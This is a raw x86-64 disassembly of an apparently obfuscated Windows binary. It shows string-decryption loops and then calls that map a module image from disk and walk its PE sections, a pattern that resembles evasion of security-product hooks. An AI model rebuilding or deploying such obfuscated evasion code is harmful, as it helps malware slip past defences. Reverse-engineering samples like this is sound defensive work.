lea rbx, [r9 + 0x400]
lea rax, [rbx + 0x800]
cmp rbx, rax
jb 0x140138d2f
add rbx, 0x800
lea r9, [rbx + 0x400]
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140138886
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140138866
lea rbx, [r9 + 3]
lea r9, [rbx + 3]
jmp 0x140138816
movabs rdi, 0x69a7ac3a65fae00
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
add dil, r8b
jmp 0x140138c0d
movabs rcx, 0xf2bde734c97e0c00
jmp 0x140138972
movabs rcx, 0x2231d9d8ba3ce700
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140138c82
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140138966
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
lea rax, [rbx + r9]
cmp rax, 0x10
je 0x140138beb
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x140138a0a
movabs rcx, 0x2ee3ca42a870e680
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
cmp rbx, 0x10
jae 0x140138b8d
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x140138ae5
movabs rcx, 0x9729d0f0b0117900
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
cmp r9, 0x10
jb 0x140138b7d
movabs rcx, 0xfa78b2bb0079a300
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
jmp 0x140138c82
jne 0x140138987
movabs rcx, 0xd08c0d5c0f412500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140138d18
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401389af
movabs rcx, 0xda7a57237db1f600
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x140138ccb
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401389d8
movabs rcx, 0xc21c808a5e60b00
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140138ca9
mov cl, dil
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401388d4
movabs rdx, 0x1ffe5b9782c7ad00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x140138c82
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140138a33
movabs rdx, 0x38d2140a16e1b780
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
jmp 0x140138a02
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140138a5f
movabs rcx, 0x4caea798f3c35980
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140138ca9
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140138a8c
movabs rcx, 0x6a7984ef3f15cc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140138bd9
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138ab8
movabs rcx, 0x7467ceb6ad869d80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140138c0d
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14013890b
movabs rcx, 0x884462458a683f80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x140138d14
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140138afd
movabs rcx, 0xa1181ab81e824a00
jmp 0x140138972
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140138b21
movabs rcx, 0xb4f4ae46fb63ec00
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x140138c09
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140138b49
movabs rdx, 0xd2bf8b9d46b65f00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x140138bad
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140138b61
movabs rcx, 0xdcadd564b5273000
jmp 0x1401389c2
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14013893b
movabs rdx, 0xf08a68f39208d200
jmp 0x1401389f2
mov byte [rbp + r10 + 0x340], cl
mov dil, cl
jmp 0x140138d27
movabs rdx, 0x466fc826eea7400
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r8b
movabs rcx, 0x95e21662622dc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, dil
mov byte [rbp + r10 + 0x340], r8b
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x140138d27
movabs rcx, 0xe554649dd5b4500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x340]
lea edi, [r8 + rcx]
movabs rdx, 0x134c6b2d9493ad80
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x340], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140138ccb
movabs rcx, 0x7c229a3ce4823480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x140138ca6
movabs rcx, 0x7234507576116380
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0xff6fd79eb7b20b80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r10 + 0x340], cl
add r9, r15
sub r10, r15
jmp 0x140138d27
movabs rcx, 0x18d3b872941a0a80
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0x184390114bcc1600
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r10 + 0x340], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x140138d18
movabs rcx, 0xee56eab25a93980
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x340]
add rax, r9
add r10, rax
add r10, r15
jmp 0x14013876c
movabs rcx, 0x8a77e086c1dd7980
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x140138757
lea rcx, [rbp + 0x1663940]
jmp 0x140138d6c
lea rcx, [rbp + 0x15ea1c0]
jmp 0x140138d6c
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x48], rax
mov r9d, Ordinal_27
lea r8, [rbp + 0x1180]
mov rdx, rax
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rbp + 0x1180]
mov qword [rbp - 0x50], rsi
mov byte [rbp + 0x5b0], 0xb3
mov byte [rbp + 0x5b1], 0x9b
mov byte [rbp + 0x5b2], 0xb8
mov byte [rbp + 0x5b3], 0x62
mov byte [rbp + 0x5b4], __WSAFDIsSet
mov byte [rbp + 0x5b5], 0x9b
mov byte [rbp + 0x5b6], Ordinal_143
mov byte [rbp + 0x5b7], 0x9e
mov byte [rbp + 0x5b8], 0x67
mov byte [rbp + 0x5b9], 0x98
mov byte [rbp + 0x5ba], 0x80
mov byte [rbp + 0x5bb], __WSAFDIsSet
mov byte [rbp + 0x5bc], WSASetLastError
mov byte [rbp + 0x5bd], __WSAFDIsSet
mov byte [rbp + 0x5be], __WSAFDIsSet
mov byte [rbp + 0x5bf], 0x9c
mov byte [rbp + 0x5c0], __WSAFDIsSet
mov byte [rbp + 0x5c1], Ordinal_211
mov byte [rbp + 0x5c2], Ordinal_211
mov byte [rbp + 0x5c3], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x5c4], 0x88
mov byte [rbp + 0x5c5], Ordinal_143
mov byte [rbp + 0x5c6], 0x9c
mov byte [rbp + 0x5c7], 0x83
mov byte [rbp + 0x5c8], 0x82
mov byte [rbp + 0x5c9], Ordinal_211
mov byte [rbp + 0x5ca], 0x98
mov byte [rbp + 0x5cb], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x5cc], Ordinal_143
mov byte [rbp + 0x5cd], 0xf1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5ce], xmm0
mov byte [rbp + 0x5de], al
movabs r14, 0xcae032bf384252dd
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x2f
jae 0x14013969c
movzx r8d, byte [rbp + r10 + 0x5b0]
mov edx, r8d
cmp rbx, r10
ja 0x140139693
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140138ee3
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xb
jmp 0x140138f03
je 0x140139611
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401395be
lea rax, [r9 + 7]
cmp rbx, rax
je 0x14013959b
cmp r9, r10
ja 0x14013968a
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140138f33
movabs rcx, 0xa46429af9d70cc21
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x19
add cl, r8b
jmp 0x140138f70
je 0x140139554
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140139534
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140139504
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1401394af
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14013948c
mov cl, dil
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x14013911f
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401390f8
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401390d1
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x1401390b0
lea rax, [r9 + 0x200]
cmp rbx, rax
je 0x14013908d
lea rbx, [r9 + 0x61]
lea r9, [rbx + 0x200]
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140139667
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140139644
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14013906f
lea rbx, [r9 + 1]
lea r9, [rbx + 0x40]
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x14013905b
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x140139047
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x14013901f
lea rbx, [r9 + 0x7a]
lea r9, [rbx + 0x3e8]
jmp 0x140138f7d
movabs rcx, 0xcc1fb7832973ca20
add rcx, r10
mov al, cl
and al, r8b
mov edi, reloc.WS2_32.dll_recv
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x140139458
movabs rdx, 0xade8707d7e5d8f2
mov ecx, Ordinal_50
jmp 0x14013922a
movabs rdx, 0x751e218967613338
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401391fa
movabs rcx, 0xe8fcbe4edd90ef2d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3b
jmp 0x1401391ad
movabs rcx, 0xda58fa1db0a4c8c6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14013962d
movabs rdx, 0xed96fea57e0d8c24
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140139429
movabs rdx, 0xc21633a89d0440b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140139596
movabs rdx, 0x2c55ce2a2c7f9af6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140139572
lea rax, [r9 + 0x10]
cmp rbx, rax
jae 0x1401391e2
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xb
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 0x41
je 0x140139460
lea rax, [r9 + 0x400]
cmp rbx, rax
jbe 0x14013929e
movabs rcx, 0x576c179067cdbea9
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x61
add cl, r8b
cmp rbx, 3
jae 0x140139406
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x14013937e
movabs rdx, 0xfbd04140053e8aca
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
cmp r9, 9
jb 0x1401393f6
movabs rcx, 0xd55438306a6d040e
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140139572
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140139212
movabs rdx, 0x48c8535f3ae19842
mov ecx, Ordinal_27
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013962d
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140139242
movabs rdx, 0xde88b8ddab663dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401395db
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14013926e
movabs rcx, 0x358a4ed76d78d4e4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x14013942f
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14013913f
movabs rcx, 0xcb4ab455ddfd7a9e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x1401395b9
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401392ca
movabs rcx, 0xed2c7d0ed8526463
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4b
jmp 0x140139572
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401392f6
movabs rcx, 0x18ad480bb95bafd7
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1f
jmp 0x1401395b9
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140139322
movabs rcx, 0xd9ee78870ae9a105
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x140139522
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14013934e
movabs rcx, 0x6faede057b6e46bf
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x39
jmp 0x1401394cd
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140139179
movabs rcx, 0x9b2fa9025c779233
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x65
jmp 0x14013962d
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14013939b
movabs rdx, 0x9190a6be75c33084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401391fa
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401393c5
movabs rdx, 0xbd1171bb56cc7bf8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140139484
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401391b0
movabs rdx, 0xe8923cb837d5c76c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14013903f
mov byte [rbp + r10 + 0x5b0], cl
mov dil, cl
jmp 0x14013963c
movabs rdx, 0x6b149daedaf1a9c8
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0x5b0]
sub dil, al
sub dil, 0x78
add dil, dl
add dil, r8b
movabs rdx, 0x35f4d06e1333fca5
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, dil
sub cl, al
add cl, 0x7d
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r9
jmp 0x140139522
movabs rdx, 0xd5032d4b764f82
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x5b0]
add dil, dl
add dil, r8b
jmp 0x1401394cd
movabs rcx, 0xe827bb21921a9fab
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x53
jmp 0x14013962d
movabs rcx, 0xbca6f024b1115437
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7f
movabs rdx, 0xcbb535ec83b8a25f
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5b0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401395db
movabs rcx, 0x26e68aa6408cae7d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x14013963c
movabs rcx, 0x65a55a2aeefebd4f
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x29
jmp 0x1401395b9
movabs rcx, 0x3a248f2e0df571db
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
movabs rcx, 0xa0346aefa2af56eb
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x6d
add cl, r8b
mov byte [rbp + r10 + 0x5b0], cl
add r9, r15
jmp 0x1401395b9
movabs rcx, 0xe322f9344be2daf3
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5b
sub r10, r15
jmp 0x14013963c
movabs rcx, 0xf660fdbc194b9e51
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
movabs rdx, 0x969568abbbfaf53c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x14013962d
movabs rcx, 0x60a0983da8c6f897
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x21
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x140138ea1
movabs rcx, 0x667a5d583a750cd1
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x49
jmp 0x140138e9c
movabs rcx, 0xd0b9f7d9c9f06717
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5f
jmp 0x140138e8c
lea rcx, [rbp + 0x14fb22c]
jmp 0x1401396a3
lea rcx, [rbp + 0xd20509]
jmp 0x1401396a3
lea rcx, [rbp + 0x5b0]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r15d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
mov qword [rbp - 0x58], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rbp - 0x68], rax
xor ecx, ecx
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [rcx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
xor eax, eax
movzx r15d, ax
cmp ax, word [r14 + 6]
jae 0x14013a3b2
mov dil, byte [rsp + 0x50]
movzx eax, r15w
lea rsi, [rax*4 + 3]
movzx ecx, word [r14 + 0x14]
add rcx, r14
add rsi, rax
lea rsi, [rcx + rsi*8]
mov byte [rbp + 0x360], 0x54
mov byte [rbp + 0x361], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x362], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x363], reloc.WS2_32.dll_send
mov byte [rbp + 0x364], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x365], 0xa9
xor eax, eax
mov qword [rbp + 0x366], rax
mov word [rbp + 0x36e], ax
mov byte [rbp + 0x370], al
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x11
jae 0x14013a31a
movzx r8d, byte [rbp + r9 + 0x360]
mov rdx, r8
cmp rbx, r9
ja 0x14013a311
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401397e6
movabs r11, 0xb822fc2bccc844c5
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x63
jmp 0x140139810
je 0x14013a288
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013a22d
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013a1db
movabs r11, 0xb822fc2bccc844c5
cmp r10, r9
ja 0x14013a308
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x140139848
movabs rdx, 0x1adeaf97cc6da429
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1f
jmp 0x140139a52
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14013a1bb
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013a196
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013a173
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140139e30
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140139e09
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140139de6
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140139dc2
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140139dae
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140139d87
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140139d63
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140139d40
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140139d1c
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140139cf5
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14013987c
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14013a2e4
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14013a2c0
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140139a80
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140139a5a
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x140139a34
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140139c29
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140139c09
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140139be6
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140139bba
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14013987c
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x42]
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140139ba6
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140139b92
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140139b6f
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140139b4b
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140139b37
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x140139b13
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140139aef
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140139acc
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140139aa5
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14013987c
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x80]
jmp 0x14013987c
movabs rdx, 0xfafeebc830bd56f7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
add dil, dl
jmp 0x14013986f
movabs rdx, 0x8ab8f370972ccd6d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 5
add dil, dl
jmp 0x140139810
movabs rdx, 0x1a72fb18fd9c43e3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dl, 0x35
add dil, dl
jmp 0x1401397ad
movabs rdx, 0xd6f57cbe636d2148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a1f9
movabs rcx, 0x66af8466c9dc97be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x14013a21d
movabs rcx, 0xf6698c0f304c0e34
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14013a1b4
movabs rdx, 0x862393b796bb84aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14013a24b
movabs rdx, 0x15dd9b5ffd2afb20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140139d96
movabs rcx, 0xa597a308639a7196
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x14013a278
movabs rdx, 0x3551aab0ca09e80c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
jmp 0x14013a104
movabs rdx, 0xc50bb25930795e82
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x140139d2b
movabs rdx, 0x54c5ba0196e8d4f8
mov ecx, Ordinal_32
jmp 0x140139d04
movabs rcx, 0xbc16cd2696ff7d1f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
mov byte [rbp + r9 + 0x360], dil
jmp 0x14013a2b3
movabs rdx, 0x4bd0d4cefd6ef395
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x13
jmp 0x140139cbc
movabs rdx, 0xdb8adc7763de6a0b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4d
jmp 0x140139c83
movabs rdx, 0x6b44e41fca4de081
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x79
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x14013a0dd
lea rax, [r10 + 9]
cmp rbx, rax
jbe 0x140139f10
movabs rdx, 0xe056166fcbb862f1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x69
add dil, dl
cmp rbx, 0x5a
jae 0x14013a0af
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14013a021
movabs rdx, 0xfb34c6079826071a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov eax, 1
cmp r10, rax
jb 0x140139bd9
movabs rcx, 0x5df0797397cb667e
add rcx, r9
mov al, cl
and al, r8b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14013a1f9
movabs rdx, 0xa1381d8eca91d8f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013a2a4
movabs rdx, 0x30f2253731014f6c
mov ecx, 6
add rdx, r9
